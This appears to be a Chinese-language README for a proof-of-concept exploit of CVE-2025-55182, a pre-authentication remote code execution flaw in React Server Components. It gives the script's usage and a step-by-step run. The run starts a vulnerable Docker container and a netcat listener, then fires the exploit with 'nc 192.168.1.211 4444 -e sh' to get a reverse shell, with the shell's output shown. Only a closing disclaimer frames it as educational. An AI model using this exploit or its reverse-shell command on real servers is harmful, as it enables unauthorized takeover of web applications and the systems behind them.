React Server Components 版本 19.0.0、19.1.0、19.1.1 和 19.2.0 存在一个预认证远程代码执行漏洞,涉及以下软件包:react-server-dom-parcel、react-server-dom-turbopack 和 react-server-dom-webpack。存在漏洞的代码会不安全地反序列化发送至 Server Function 端点的 HTTP 请求中的载荷。
https://nvd.nist.gov/vuln/detail/CVE-2025-55182
usage: CVE-2025-55182.py [-h] --command COMMAND target
PoC exploit: CVE-2025-55182
positional arguments:
target Target hostname
options:
-h, --help show this help message and exit
--command COMMAND Command to run on target
# Create docker instance
docker run -d -p 3000:3000 ihsansencan/react2shell:cve-2025-55182
# Start listener
nc -lnvp 4444
# Launch exploit
python3 CVE-2025-55182.py http://127.0.0.1:3000/ --command "nc 192.168.1.211 4444 -e sh"
# Should receive reverse shell in listener
Listening on 0.0.0.0 4444
Connection received on 172.17.0.2 43911
uname -a
Linux f346806b6f59 6.17.0-20-generic #20~24.04.1-Ubuntu SMP PREEMPT_DYNAMIC Thu Mar 19 01:28:37 UTC 2 x86_64 Linux
本项目仅用于教育和研究目的。 作者不对因滥用或使用本代码所造成的任何损害负责。